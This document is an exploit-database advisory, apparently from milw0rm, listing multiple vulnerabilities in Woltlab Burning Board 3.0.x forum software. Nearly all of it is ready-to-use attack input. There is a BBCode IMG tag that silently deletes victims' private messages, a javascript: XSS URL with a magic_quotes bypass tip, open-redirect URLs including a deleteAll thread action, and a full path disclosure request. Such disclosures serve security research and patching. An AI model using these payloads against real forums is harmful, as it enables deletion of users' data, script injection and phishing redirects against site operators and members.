woltlab burning board 3.0.x - Multiple Vulnerabilities

Author: StAkeR
type: webapps
platform: php
port: 
date_added: 2009-03-08 
date_updated:  
verified: 1 
codes: OSVDB-56357;CVE-2008-7192;OSVDB-56356;OSVDB-56355;OSVDB-56354;OSVDB-56353;OSVDB-56352 
tags: 
aliases:  
screenshot_url:  
application_url: 

+---------------------------------------------------------------------------+
| Woltlab Burning Board 3.0.x Multiple Remote Vulnerabilities               |
+---------------------------------------------------------------------------+
| by Juri Gianni aka yeat - staker[at]hotmail[dot]it                        |
| thanks to s3rg3770                                                        |
+---------------------------------------------------------------------------+

# Vulnerabilities: BBCode IMG / XSS / Delete PM / Full Path Disclosure / URL Redirection


# BBCode IMG Tag Script Injection
# [img]http://[host][/img]


# Delete Private Messages (BBCode IMG Tag Script Injection)

# Insert into a (forum message/private message/your signature) the code below:
# [img]http://[host]/[path]/wbb/index.php?page=PM&action=delete&pmID=[ID]&folderID=0[/img]
# The fake image doesn't show errors.


# Cross Site Scripting

# http://[host]/[path]/wcf/acp/dereferrer.php?url=javascript:alert("Example");
# you can bypass the magic_quotes_gpc with String.FromCharCode function.


# URL Redirection

# http://[host]/[path]/wcf/acp/dereferrer.php?url=http://[host]
# http://[host]/[path]/wbb/?page=ThreadAction&action=deleteAll&boardID=1&url=[local URL]


# Full Path Discloscure

# http://[host]/[path]/wbb/index.php?page=[]
# it works on < 3.0.8 version only.

# milw0rm.com [2009-03-09]